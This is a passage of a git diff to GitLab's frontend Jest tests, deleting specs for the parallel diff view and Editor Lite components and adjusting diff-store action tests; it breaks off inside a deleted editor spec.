- const coverage = vm.$el.querySelector('.line-coverage.right-side');
-
- expect(coverage.title).toContain('No test coverage');
- expect(coverage.classList).toContain('no-coverage');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('for unknown lines', (done) => {
- vm.$nextTick()
- .then(() => {
- vm.$store.state.diffs.coverageFiles = {};
-
- return vm.$nextTick();
- })
- .then(() => {
- const coverage = vm.$el.querySelector('.line-coverage.right-side');
-
- expect(coverage.title).not.toContain('Coverage');
- expect(coverage.classList).not.toContain('coverage');
- expect(coverage.classList).not.toContain('no-coverage');
- })
- .then(done)
- .catch(done.fail);
- });
- });
- });
-
- describe('Table Cells', () => {
- let wrapper;
- let store;
- let thisLine;
- const TEST_USER_ID = 'abc123';
- const TEST_USER = { id: TEST_USER_ID };
-
- const createComponent = (props = {}, propsStore = store, data = {}) => {
- wrapper = shallowMount(ParallelDiffTableRow, {
- store: propsStore,
- propsData: {
- line: thisLine,
- fileHash: diffFileMockData.file_hash,
- filePath: diffFileMockData.file_path,
- contextLinesPath: 'contextLinesPath',
- isHighlighted: false,
- ...props,
- },
- data() {
- return data;
- },
- });
- };
-
- beforeEach(() => {
- // eslint-disable-next-line prefer-destructuring
- thisLine = diffFileMockData.parallel_diff_lines[2];
- store = createStore();
- store.state.notes.userData = TEST_USER;
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findNewTd = () => wrapper.find({ ref: 'newTd' });
- const findOldTd = () => wrapper.find({ ref: 'oldTd' });
-
- describe('td', () => {
- it('highlights when isHighlighted true', () => {
- store.state.diffs.highlightedRow = thisLine.left.line_code;
- createComponent({}, store);
-
- expect(findNewTd().classes()).toContain('hll');
- expect(findOldTd().classes()).toContain('hll');
- });
-
- it('does not highlight when isHighlighted false', () => {
- createComponent();
-
- expect(findNewTd().classes()).not.toContain('hll');
- expect(findOldTd().classes()).not.toContain('hll');
- });
- });
-
- describe('comment button', () => {
- const findNoteButton = () => wrapper.find({ ref: 'addDiffNoteButtonLeft' });
-
- it.each`
- hover | line | userData | expectation
- ${true} | ${{}} | ${TEST_USER} | ${true}
- ${true} | ${{ line: { left: null } }} | ${TEST_USER} | ${false}
- ${true} | ${{}} | ${null} | ${false}
- ${false} | ${{}} | ${TEST_USER} | ${false}
- `(
- 'exists is $expectation - with userData ($userData)',
- async ({ hover, line, userData, expectation }) => {
- store.state.notes.userData = userData;
- createComponent(line, store);
- if (hover) await wrapper.find('.line_holder').trigger('mouseover');
-
- expect(findNoteButton().exists()).toBe(expectation);
- },
- );
-
- it.each`
- line | expectation
- ${{ ...thisLine, left: { discussions: [] } }} | ${true}
- ${{ ...thisLine, left: { type: 'context', discussions: [] } }} | ${false}
- ${{ ...thisLine, left: { type: 'old-nonewline', discussions: [] } }} | ${false}
- ${{ ...thisLine, left: { discussions: [{}] } }} | ${false}
- `('visible is $expectation - line ($line)', async ({ line, expectation }) => {
- createComponent({ line: applyMap(line) }, store, {
- isLeftHover: true,
- isCommentButtonRendered: true,
- });
-
- expect(findNoteButton().isVisible()).toBe(expectation);
- });
-
- it.each`
- disabled | commentsDisabled
- ${'disabled'} | ${true}
- ${undefined} | ${false}
- `(
- 'has attribute disabled=$disabled when the outer component has prop commentsDisabled=$commentsDisabled',
- ({ disabled, commentsDisabled }) => {
- thisLine.left.commentsDisabled = commentsDisabled;
- createComponent({ line: { ...thisLine } }, store, {
- isLeftHover: true,
- isCommentButtonRendered: true,
- });
-
- expect(findNoteButton().attributes('disabled')).toBe(disabled);
- },
- );
-
- const symlinkishFileTooltip =
- 'Commenting on symbolic links that replace or are replaced by files is currently not supported.';
- const realishFileTooltip =
- 'Commenting on files that replace or are replaced by symbolic links is currently not supported.';
- const otherFileTooltip = 'Add a comment to this line';
- const findTooltip = () => wrapper.find({ ref: 'addNoteTooltipLeft' });
-
- it.each`
- tooltip | commentsDisabled
- ${symlinkishFileTooltip} | ${{ wasSymbolic: true }}
- ${symlinkishFileTooltip} | ${{ isSymbolic: true }}
- ${realishFileTooltip} | ${{ wasReal: true }}
- ${realishFileTooltip} | ${{ isReal: true }}
- ${otherFileTooltip} | ${false}
- `(
- 'has the correct tooltip when commentsDisabled=$commentsDisabled',
- ({ tooltip, commentsDisabled }) => {
- thisLine.left.commentsDisabled = commentsDisabled;
- createComponent({ line: { ...thisLine } }, store, {
- isLeftHover: true,
- isCommentButtonRendered: true,
- });
-
- expect(findTooltip().attributes('title')).toBe(tooltip);
- },
- );
- });
-
- describe('line number', () => {
- const findLineNumberOld = () => wrapper.find({ ref: 'lineNumberRefOld' });
- const findLineNumberNew = () => wrapper.find({ ref: 'lineNumberRefNew' });
-
- it('renders line numbers in correct cells', () => {
- createComponent();
-
- expect(findLineNumberOld().exists()).toBe(true);
- expect(findLineNumberNew().exists()).toBe(true);
- });
-
- describe('with lineNumber prop', () => {
- const TEST_LINE_CODE = 'LC_42';
- const TEST_LINE_NUMBER = 1;
-
- describe.each`
- lineProps | findLineNumber | expectedHref | expectedClickArg
- ${{ line_code: TEST_LINE_CODE, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${`#${TEST_LINE_CODE}`} | ${TEST_LINE_CODE}
- ${{ line_code: undefined, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${undefined}
- `(
- 'with line ($lineProps)',
- ({ lineProps, findLineNumber, expectedHref, expectedClickArg }) => {
- beforeEach(() => {
- jest.spyOn(store, 'dispatch').mockImplementation();
- Object.assign(thisLine.left, lineProps);
- Object.assign(thisLine.right, lineProps);
- createComponent({
- line: applyMap({ ...thisLine }),
- });
- });
-
- it('renders', () => {
- expect(findLineNumber().exists()).toBe(true);
- expect(findLineNumber().attributes()).toEqual({
- href: expectedHref,
- 'data-linenumber': TEST_LINE_NUMBER.toString(),
- });
- });
-
- it('on click, dispatches setHighlightedRow', () => {
- expect(store.dispatch).toHaveBeenCalledTimes(1);
-
- findLineNumber().trigger('click');
-
- expect(store.dispatch).toHaveBeenCalledWith(
- 'diffs/setHighlightedRow',
- expectedClickArg,
- );
- expect(store.dispatch).toHaveBeenCalledTimes(2);
- });
- },
- );
- });
- });
-
- describe('diff-gutter-avatars', () => {
- const TEST_LINE_CODE = 'LC_42';
- const TEST_FILE_HASH = diffFileMockData.file_hash;
- const findAvatars = () => wrapper.find(DiffGutterAvatars);
- let line;
-
- beforeEach(() => {
- jest.spyOn(store, 'dispatch').mockImplementation();
-
- line = applyMap({
- left: {
- line_code: TEST_LINE_CODE,
- type: 'new',
- old_line: null,
- new_line: 1,
- discussions: [{ ...discussionsMockData }],
- discussionsExpanded: true,
- text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
- rich_text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
- meta_data: null,
- },
- });
- });
-
- describe('with showCommentButton', () => {
- it('renders if line has discussions', () => {
- createComponent({ line });
-
- expect(findAvatars().props()).toEqual({
- discussions: line.left.discussions,
- discussionsExpanded: line.left.discussionsExpanded,
- });
- });
-
- it('does notrender if line has no discussions', () => {
- line.left.discussions = [];
- createComponent({ line: applyMap(line) });
-
- expect(findAvatars().exists()).toEqual(false);
- });
-
- it('toggles line discussion', () => {
- createComponent({ line });
-
- expect(store.dispatch).toHaveBeenCalledTimes(1);
-
- findAvatars().vm.$emit('toggleLineDiscussions');
-
- expect(store.dispatch).toHaveBeenCalledWith('diffs/toggleLineDiscussions', {
- lineCode: TEST_LINE_CODE,
- fileHash: TEST_FILE_HASH,
- expanded: !line.left.discussionsExpanded,
- });
- });
- });
- });
-
- describe('interoperability', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('adds old side interoperability data attributes', () => {
- expect(findInteropAttributes(wrapper, '.line_content.left-side')).toEqual({
- type: 'old',
- line: thisLine.left.old_line.toString(),
- oldLine: thisLine.left.old_line.toString(),
- });
- });
-
- it('adds new side interoperability data attributes', () => {
- expect(findInteropAttributes(wrapper, '.line_content.right-side')).toEqual({
- type: 'new',
- line: thisLine.right.new_line.toString(),
- newLine: thisLine.right.new_line.toString(),
- });
- });
- });
- });
-});
diff --git a/spec/frontend/diffs/components/parallel_diff_view_spec.js b/spec/frontend/diffs/components/parallel_diff_view_spec.js
deleted file mode 100644
index 452e1f58551..00000000000
--- a/spec/frontend/diffs/components/parallel_diff_view_spec.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import parallelDiffTableRow from '~/diffs/components/parallel_diff_table_row.vue';
-import ParallelDiffView from '~/diffs/components/parallel_diff_view.vue';
-import { createStore } from '~/mr_notes/stores';
-import diffFileMockData from '../mock_data/diff_file';
-
-let wrapper;
-const localVue = createLocalVue();
-
-localVue.use(Vuex);
-
-function factory() {
- const diffFile = { ...diffFileMockData };
- const store = createStore();
-
- wrapper = shallowMount(ParallelDiffView, {
- localVue,
- store,
- propsData: {
- diffFile,
- diffLines: diffFile.parallel_diff_lines,
- },
- });
-}
-
-describe('ParallelDiffView', () => {
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders diff lines', () => {
- factory();
-
- expect(wrapper.findAll(parallelDiffTableRow).length).toBe(8);
- });
-});
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index 14f8e090be9..c2e5d07bcfd 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -8,7 +8,6 @@ import {
DIFF_VIEW_COOKIE_NAME,
INLINE_DIFF_VIEW_TYPE,
PARALLEL_DIFF_VIEW_TYPE,
- DIFFS_PER_PAGE,
} from '~/diffs/constants';
import {
setBaseConfig,
@@ -154,16 +153,16 @@ describe('DiffsStoreActions', () => {
it('should fetch batch diff files', (done) => {
const endpointBatch = '/fetch/diffs_batch';
- const res1 = { diff_files: [{ file_hash: 'test' }], pagination: { next_page: 2 } };
- const res2 = { diff_files: [{ file_hash: 'test2' }], pagination: {} };
+ const res1 = { diff_files: [{ file_hash: 'test' }], pagination: { total_pages: 7 } };
+ const res2 = { diff_files: [{ file_hash: 'test2' }], pagination: { total_pages: 7 } };
mock
.onGet(
mergeUrlParams(
{
w: '1',
view: 'inline',
- page: 1,
- per_page: DIFFS_PER_PAGE,
+ page: 0,
+ per_page: 5,
},
endpointBatch,
),
@@ -174,8 +173,8 @@ describe('DiffsStoreActions', () => {
{
w: '1',
view: 'inline',
- page: 2,
- per_page: DIFFS_PER_PAGE,
+ page: 5,
+ per_page: 7,
},
endpointBatch,
),
@@ -1020,10 +1019,12 @@ describe('DiffsStoreActions', () => {
const endpointUpdateUser = 'user/prefs';
let putSpy;
let mock;
+ let gon;
beforeEach(() => {
mock = new MockAdapter(axios);
putSpy = jest.spyOn(axios, 'put');
+ gon = window.gon;
mock.onPut(endpointUpdateUser).reply(200, {});
jest.spyOn(eventHub, '$emit').mockImplementation();
@@ -1031,6 +1032,7 @@ describe('DiffsStoreActions', () => {
afterEach(() => {
mock.restore();
+ window.gon = gon;
});
it('commits SET_SHOW_WHITESPACE', (done) => {
@@ -1044,7 +1046,9 @@ describe('DiffsStoreActions', () => {
);
});
- it('saves to the database', async () => {
+ it('saves to the database when the user is logged in', async () => {
+ window.gon = { current_user_id: 12345 };
+
await setShowWhitespace(
{ state: { endpointUpdateUser }, commit() {} },
{ showWhitespace: true, updateDatabase: true },
@@ -1053,6 +1057,17 @@ describe('DiffsStoreActions', () => {
expect(putSpy).toHaveBeenCalledWith(endpointUpdateUser, { show_whitespace_in_diffs: true });
});
+ it('does not try to save to the API if the user is not logged in', async () => {
+ window.gon = {};
+
+ await setShowWhitespace(
+ { state: { endpointUpdateUser }, commit() {} },
+ { showWhitespace: true, updateDatabase: true },
+ );
+
+ expect(putSpy).not.toHaveBeenCalled();
+ });
+
it('emits eventHub event', async () => {
await setShowWhitespace(
{ state: {}, commit() {} },
diff --git a/spec/frontend/diffs/store/getters_versions_dropdowns_spec.js b/spec/frontend/diffs/store/getters_versions_dropdowns_spec.js
index dbef547c297..99f13a1c84c 100644
--- a/spec/frontend/diffs/store/getters_versions_dropdowns_spec.js
+++ b/spec/frontend/diffs/store/getters_versions_dropdowns_spec.js
@@ -54,7 +54,7 @@ describe('Compare diff version dropdowns', () => {
Object.defineProperty(window, 'location', {
writable: true,
- value: { href: `https://example.gitlab.com${diffHeadParam}` },
+ value: { search: diffHeadParam },
});
expectedFirstVersion = {
diff --git a/spec/frontend/editor/editor_ci_schema_ext_spec.js b/spec/frontend/editor/editor_ci_schema_ext_spec.js
deleted file mode 100644
index 2f0ecfb151e..00000000000
--- a/spec/frontend/editor/editor_ci_schema_ext_spec.js
+++ /dev/null
@@ -1,108 +0,0 @@
-import { languages } from 'monaco-editor';
-import { TEST_HOST } from 'helpers/test_constants';
-import { EXTENSION_CI_SCHEMA_FILE_NAME_MATCH } from '~/editor/constants';
-import EditorLite from '~/editor/editor_lite';
-import { CiSchemaExtension } from '~/editor/extensions/editor_ci_schema_ext';
-
-const mockRef = 'AABBCCDD';
-
-describe('~/editor/editor_ci_config_ext', () => {
- const defaultBlobPath = '.gitlab-ci.yml';
-
- let editor;
- let instance;
- let editorEl;
- let originalGitlabUrl;
-
- const createMockEditor = ({ blobPath = defaultBlobPath } = {}) => {
- setFixtures('<div id="editor"></div>');
- editorEl = document.getElementById('editor');
- editor = new EditorLite();
- instance = editor.createInstance({
- el: editorEl,
- blobPath,
- blobContent: '',
- });
- instance.use(new CiSchemaExtension());
- };
-
- beforeAll(() => {
- originalGitlabUrl = gon.gitlab_url;
- gon.gitlab_url = TEST_HOST;
- });
-
- afterAll(() => {
- gon.gitlab_url = originalGitlabUrl;
- });
-
- beforeEach(() => {
- createMockEditor();
- });
-
- afterEach(() => {
- instance.dispose();
- editorEl.remove();
- });
-
- describe('registerCiSchema', () => {
- beforeEach(() => {
- jest.spyOn(languages.yaml.yamlDefaults, 'setDiagnosticsOptions');
- });
-
- describe('register validations options with monaco for yaml language', () => {
- const mockProjectNamespace = 'namespace1';
- const mockProjectPath = 'project1';
-
- const getConfiguredYmlSchema = () => {
- return languages.yaml.yamlDefaults.setDiagnosticsOptions.mock.calls[0][0].schemas[0];
- };
-
- it('with expected basic validation configuration', () => {
- instance.registerCiSchema({
- projectNamespace: mockProjectNamespace,
- projectPath: mockProjectPath,
- });
-
- const expectedOptions = {
- validate: true,
- enableSchemaRequest: true,
- hover: true,
- completion: true,
- };
-
- expect(languages.yaml.yamlDefaults.setDiagnosticsOptions).toHaveBeenCalledTimes(1);
- expect(languages.yaml.yamlDefaults.setDiagnosticsOptions).toHaveBeenCalledWith(
- expect.objectContaining(expectedOptions),
- );
- });
-
- it('with an schema uri that contains project and ref', () => {
- instance.registerCiSchema({
- projectNamespace: mockProjectNamespace,
- projectPath: mockProjectPath,
- ref: mockRef,
- });
-
- expect(getConfiguredYmlSchema()).toEqual({
- uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/${mockRef}/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
- fileMatch: [defaultBlobPath],
- });
- });
-
- it('with an alternative file name match', () => {
- createMockEditor({ blobPath: 'dir1/dir2/another-ci-filename.yml' });
-
- instance.registerCiSchema({
- projectNamespace: mockProjectNamespace,
- projectPath: mockProjectPath,
- ref: mockRef,
- });
-
- expect(getConfiguredYmlSchema()).toEqual({
- uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/${mockRef}/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
- fileMatch: ['another-ci-filename.yml'],
- });
- });
- });
- });
-});
diff --git a/spec/frontend/editor/editor_lite_extension_base_spec.js b/spec/frontend/editor/editor_lite_extension_base_spec.js
deleted file mode 100644
index 59e1b8968eb..00000000000
--- a/spec/frontend/editor/editor_lite_extension_base_spec.js
+++ /dev/null
@@ -1,279 +0,0 @@
-import { Range } from 'monaco-editor';
-import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
-import {
- ERROR_INSTANCE_REQUIRED_FOR_EXTENSION,
- EDITOR_TYPE_CODE,
- EDITOR_TYPE_DIFF,
-} from '~/editor/constants';
-import { EditorLiteExtension } from '~/editor/extensions/editor_lite_extension_base';
-
-jest.mock('~/helpers/startup_css_helper', () => {
- return {
- waitForCSSLoaded: jest.fn().mockImplementation((cb) => {
- // We have to artificially put the callback's execution
- // to the end of the current call stack to be able to
- // test that the callback is called after waitForCSSLoaded.
- // setTimeout with 0 delay does exactly that.
- // Otherwise we might end up with false positive results
- setTimeout(() => {
- cb.apply();
- }, 0);
- }),
- };
-});
-
-describe('The basis for an Editor Lite extension', () => {
- const defaultLine = 3;
- let ext;
- let event;
-
- const defaultOptions = { foo: 'bar' };
- const findLine = (num) => {
- return document.querySelector(`.line-numbers:nth-child(${num})`);
- };
- const generateLines = () => {
- let res = '';
- for (let line = 1, lines = 5; line <= lines; line += 1) {
- res += `<div class="line-numbers">${line}</div>`;
- }
- return res;
- };
- const generateEventMock = ({ line = defaultLine, el = null } = {}) => {
- return {
- target: {
- element: el || findLine(line),
- position: {
- lineNumber: line,
- },
- },
- };
- };
-
- beforeEach(() => {
- setFixtures(generateLines());
- event = generateEventMock();
- });
-
- afterEach(() => {
- jest.clearAllMocks();
- });
-
- describe('constructor', () => {
- it('resets the layout in waitForCSSLoaded callback', async () => {
- const instance = {
- layout: jest.fn(),
- };
- ext = new EditorLiteExtension({ instance });
- expect(instance.layout).not.toHaveBeenCalled();
-
- // We're waiting for the waitForCSSLoaded mock to kick in
- await jest.runOnlyPendingTimers();
-
- expect(instance.layout).toHaveBeenCalled();
- });
-
- it.each`
- description | instance | options
- ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
- ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
- ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
- ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
- `('$description', ({ instance, options } = {}) => {
- EditorLiteExtension.deferRerender = jest.fn();
- const originalInstance = { ...instance };
-
- if (instance) {
- if (options) {
- Object.entries(options).forEach((prop) => {
- expect(instance[prop]).toBeUndefined();
- });
- // Both instance and options are passed
- ext = new EditorLiteExtension({ instance, ...options });
- Object.entries(options).forEach(([prop, value]) => {
- expect(ext[prop]).toBeUndefined();
- expect(instance[prop]).toBe(value);
- });
- } else {
- ext = new EditorLiteExtension({ instance });
- expect(instance).toEqual(originalInstance);
- }
- } else if (options) {
- // Options are passed without instance
- expect(() => {
- ext = new EditorLiteExtension({ ...options });
- }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
- } else {
- // Neither options nor instance are passed
- expect(() => {
- ext = new EditorLiteExtension();
- }).not.toThrow();
- }
- });
-
- it('initializes the line highlighting', () => {
- EditorLiteExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(EditorLiteExtension, 'highlightLines');
- ext = new EditorLiteExtension({ instance: {} });
- expect(spy).toHaveBeenCalled();
- });
-
- it('sets up the line linking for code instance', () => {
- EditorLiteExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(EditorLiteExtension, 'setupLineLinking');
- const instance = {
- getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_CODE),
- onMouseMove: jest.fn(),
- onMouseDown: jest.fn(),
- };
- ext = new EditorLiteExtension({ instance });
- expect(spy).toHaveBeenCalledWith(instance);
- });
-
- it('does not set up the line linking for diff instance', () => {
- EditorLiteExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(EditorLiteExtension, 'setupLineLinking');
- const instance = {
- getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_DIFF),
- };
- ext = new EditorLiteExtension({ instance });
- expect(spy).not.toHaveBeenCalled();
- });
- });
-
- describe('highlightLines', () => {
- const revealSpy = jest.fn();
- const decorationsSpy = jest.fn();
- const instance = {
- revealLineInCenter: revealSpy,
- deltaDecorations: decorationsSpy,
- };
- const defaultDecorationOptions = { isWholeLine: true, className: 'active-line-text' };
-
- useFakeRequestAnimationFrame();
-
- beforeEach(() => {
- delete window.location;
- window.location = new URL(`https://localhost`);
- });
-
- afterEach(() => {
- window.location.hash = '';
- });
-
- it.each`
- desc | hash | shouldReveal | expectedRange
- ${'properly decorates a single line'} | ${'#L10'} | ${true} | ${[10, 1, 10, 1]}
- ${'properly decorates multiple lines'} | ${'#L7-42'} | ${true} | ${[7, 1, 42, 1]}
- ${'correctly highlights if lines are reversed'} | ${'#L42-7'} | ${true} | ${[7, 1, 42, 1]}
- ${'highlights one line if start/end are the same'} | ${'#L7-7'} | ${true} | ${[7, 1, 7, 1]}
- ${'does not highlight if there is no hash'} | ${''} | ${false} | ${null}
- ${'does not highlight if the hash is undefined'} | ${undefined} | ${false} | ${null}
- ${'does not highlight if hash is incomplete 1'} | ${'#L'} | ${false} | ${null}
- ${'does not highlight if hash is incomplete 2'} | ${'#L-'} | ${false} | ${null}
- `('$desc', ({ hash, shouldReveal, expectedRange } = {}) => {
- window.location.hash = hash;
- EditorLiteExtension.highlightLines(instance);
- if (!shouldReveal) {
- expect(revealSpy).not.toHaveBeenCalled();
- expect(decorationsSpy).not.toHaveBeenCalled();
- } else {
- expect(revealSpy).toHaveBeenCalledWith(expectedRange[0]);
- expect(decorationsSpy).toHaveBeenCalledWith(
- [],
- [
- {
- range: new Range(...expectedRange),
- options: defaultDecorationOptions,
- },
- ],
- );
- }
- });
-
- it('stores the line decorations on the instance', () => {
- decorationsSpy.mockReturnValue('foo');
- window.location.hash = '#L10';
- expect(instance.lineDecorations).toBeUndefined();
- EditorLiteExtension.highlightLines(instance);
- expect(instance.lineDecorations).toBe('foo');
- });
- });
-
- describe('setupLineLinking', () => {
- const instance = {
- onMouseMove: jest.fn(),
- onMouseDown: jest.fn(),
- deltaDecorations: jest.fn(),
- lineDecorations: 'foo',
- };
-
- beforeEach(() => {
- EditorLiteExtension.onMouseMoveHandler(event); // generate the anchor
- });
-
- it.each`
- desc | spy
- ${'onMouseMove'} | ${instance.onMouseMove}
- ${'onMouseDown'} | ${instance.onMouseDown}
- `('sets up the $desc listener', ({ spy } = {}) => {
- EditorLiteExtension.setupLineLinking(instance);
- expect(spy).toHaveBeenCalled();
- });
-
- it.each`
- desc | eventTrigger | shouldRemove
- ${'does not remove the line decorations if the event is triggered on a wrong node'} | ${null} | ${false}
- ${'removes existing line decorations when clicking a line number'} | ${'.link-anchor'} | ${true}
- `('$desc', ({ eventTrigger, shouldRemove } = {}) => {
- event = generateEventMock({ el: eventTrigger ? document.querySelector(eventTrigger) : null });
- instance.onMouseDown.mockImplementation((fn) => {
- fn(event);
- });
-
- EditorLiteExtension.setupLineLinking(instance);
- if (shouldRemove) {
- expect(instance.deltaDecorations).toHaveBeenCalledWith(instance.lineDecorations, []);
- } else {
- expect(instance.deltaDecorations).not.toHaveBeenCalled();
- }
- });
- });
-
- describe('onMouseMoveHandler', () => {
- it('stops propagation for contextmenu event on the generated anchor', () => {
- EditorLiteExtension.onMouseMoveHandler(event);
- const anchor = findLine(defaultLine).querySelector('a');
- const contextMenuEvent = new Event('contextmenu');
-
- jest.spyOn(contextMenuEvent, 'stopPropagation');
- anchor.dispatchEvent(contextMenuEvent);
-
- expect(contextMenuEvent.stopPropagation).toHaveBeenCalled();
- });
-
- it('creates an anchor if it does not exist yet', () => {
- expect(findLine(defaultLine).querySelector('a')).toBe(null);
- EditorLiteExtension.onMouseMoveHandler(event);
- expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
- });
-
- it('does not create a new anchor if it exists', () => {
- EditorLiteExtension.onMouseMoveHandler(event);
- expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
-
- EditorLiteExtension.createAnchor = jest.fn();
- EditorLiteExtension.onMouseMoveHandler(event);
- expect(EditorLiteExtension.createAnchor).not.toHaveBeenCalled();
- expect(findLine(defaultLine).querySelectorAll('a')).toHaveLength(1);
- });
-
- it('does not create a link if the event is triggered on a wrong node', () => {
- setFixtures('<div class="wrong-class">3</div>');
- EditorLiteExtension.createAnchor = jest.fn();
- const wrongEvent = generateEventMock({ el: document.querySelector('.wrong-class') });
-
- EditorLiteExtension.onMouseMoveHandler(wrongEvent);
- expect(EditorLiteExtension.createAnchor).not.toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/editor/editor_lite_spec.js b/spec/frontend/editor/editor_lite_spec.js
deleted file mode 100644
index 815457e012f..00000000000
--- a/spec/frontend/editor/editor_lite_spec.js
+++ /dev/null
@@ -1,696 +0,0 @@
-/* eslint-disable max-classes-per-file */
-import { editor as monacoEditor, languages as monacoLanguages } from 'monaco-editor';
-import waitForPromises from 'helpers/wait_for_promises';
-import {
- EDITOR_LITE_INSTANCE_ERROR_NO_EL,
- URI_PREFIX,
- EDITOR_READY_EVENT,
-} from '~/editor/constants';
-import EditorLite from '~/editor/editor_lite';
-import { EditorLiteExtension } from '~/editor/extensions/editor_lite_extension_base';
-import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
-import { joinPaths } from '~/lib/utils/url_utility';
-
-describe('Base editor', () => {
- let editorEl;
- let editor;
- let defaultArguments;
- const blobOriginalContent = 'Foo Foo';
- const blobContent = 'Foo Bar';
- const blobPath = 'test.md';
- const blobGlobalId = 'snippet_777';
- const fakeModel = { foo: 'bar', dispose: jest.fn() };
-
- beforeEach(() => {
- setFixtures('<div id="editor" data-editor-loading></div>');
- editorEl = document.getElementById('editor');
- defaultArguments = { el: editorEl, blobPath, blobContent, blobGlobalId };
- editor = new EditorLite();
- });
-
- afterEach(() => {
- editor.dispose();
- editorEl.remove();
- monacoEditor.getModels().forEach((model) => {
- model.dispose();
- });
- });
-
- const uriFilePath = joinPaths('/', URI_PREFIX, blobGlobalId, blobPath);
-
- it('initializes Editor with basic properties', () => {
- expect(editor).toBeDefined();
- expect(editor.instances).toEqual([]);
- });
-
- it('removes `editor-loading` data attribute from the target DOM element', () => {
- editor.createInstance({ el: editorEl });
-
- expect(editorEl.dataset.editorLoading).toBeUndefined();
- });
-
- describe('instance of the Editor Lite', () => {
- let modelSpy;
- let instanceSpy;
- const setModel = jest.fn();
- const dispose = jest.fn();
- const mockModelReturn = (res = fakeModel) => {
- modelSpy = jest.spyOn(monacoEditor, 'createModel').mockImplementation(() => res);
- };
- const mockDecorateInstance = (decorations = {}) => {
- jest.spyOn(EditorLite, 'convertMonacoToELInstance').mockImplementation((inst) => {
- return Object.assign(inst, decorations);
- });
- };
-
- beforeEach(() => {
- modelSpy = jest.spyOn(monacoEditor, 'createModel');
- });
-
- describe('instance of the Code Editor', () => {
- beforeEach(() => {
- instanceSpy = jest.spyOn(monacoEditor, 'create');
- });
-
- it('throws an error if no dom element is supplied', () => {
- mockDecorateInstance();
- expect(() => {
- editor.createInstance();
- }).toThrow(EDITOR_LITE_INSTANCE_ERROR_NO_EL);
-
- expect(modelSpy).not.toHaveBeenCalled();
- expect(instanceSpy).not.toHaveBeenCalled();
- expect(EditorLite.convertMonacoToELInstance).not.toHaveBeenCalled();
- });
-
- it('creates model to be supplied to Monaco editor', () => {
- mockModelReturn();
- mockDecorateInstance({
- setModel,
- });
- editor.createInstance(defaultArguments);
-
- expect(modelSpy).toHaveBeenCalledWith(
- blobContent,
- undefined,
- expect.objectContaining({
- path: uriFilePath,
- }),
- );
- expect(setModel).toHaveBeenCalledWith(fakeModel);
- });
-
- it('does not create a model automatically if model is passed as `null`', () => {
- mockDecorateInstance({
- setModel,
- });
- editor.createInstance({ ...defaultArguments, model: null });
- expect(modelSpy).not.toHaveBeenCalled();
- expect(setModel).not.toHaveBeenCalled();
- });
-
- it('initializes the instance on a supplied DOM node', () => {
- editor.createInstance({ el: editorEl });
-
- expect(editor.editorEl).not.toBe(null);
- expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.anything());
- });
-
- it('with blobGlobalId, creates model with the id in uri', () => {
- editor.createInstance(defaultArguments);
-
- expect(modelSpy).toHaveBeenCalledWith(
- blobContent,
- undefined,
- expect.objectContaining({
- path: uriFilePath,
- }),
- );
- });
-
- it('initializes instance with passed properties', () => {
- const instanceOptions = {
- foo: 'bar',
- };
- editor.createInstance({
- el: editorEl,
- ...instanceOptions,
- });
- expect(instanceSpy).toHaveBeenCalledWith(
- editorEl,
- expect.objectContaining(instanceOptions),
- );
- });
-
- it('disposes instance when the global editor is disposed', () => {
- mockDecorateInstance({
- dispose,
- });
- editor.createInstance(defaultArguments);
-
- expect(dispose).not.toHaveBeenCalled();
-
- editor.dispose();
-
- expect(dispose).toHaveBeenCalled();
- });
-
- it("removes the disposed instance from the global editor's storage and disposes the associated model", () => {
- mockModelReturn();
- mockDecorateInstance({
- setModel,
- });
- const instance = editor.createInstance(defaultArguments);
-
- expect(editor.instances).toHaveLength(1);
- expect(fakeModel.dispose).not.toHaveBeenCalled();
-
- instance.dispose();
-
- expect(editor.instances).toHaveLength(0);
- expect(fakeModel.dispose).toHaveBeenCalled();
- });
- });
-
- describe('instance of the Diff Editor', () => {
- beforeEach(() => {
- instanceSpy = jest.spyOn(monacoEditor, 'createDiffEditor');
- });
-
- it('Diff Editor goes through the normal path of Code Editor just with the flag ON', () => {
- const spy = jest.spyOn(editor, 'createInstance').mockImplementation(() => {});
- editor.createDiffInstance();
- expect(spy).toHaveBeenCalledWith(
- expect.objectContaining({
- isDiff: true,
- }),
- );
- });
-
- it('initializes the instance on a supplied DOM node', () => {
- const wrongInstanceSpy = jest.spyOn(monacoEditor, 'create').mockImplementation(() => ({}));
- editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
-
- expect(editor.editorEl).not.toBe(null);
- expect(wrongInstanceSpy).not.toHaveBeenCalled();
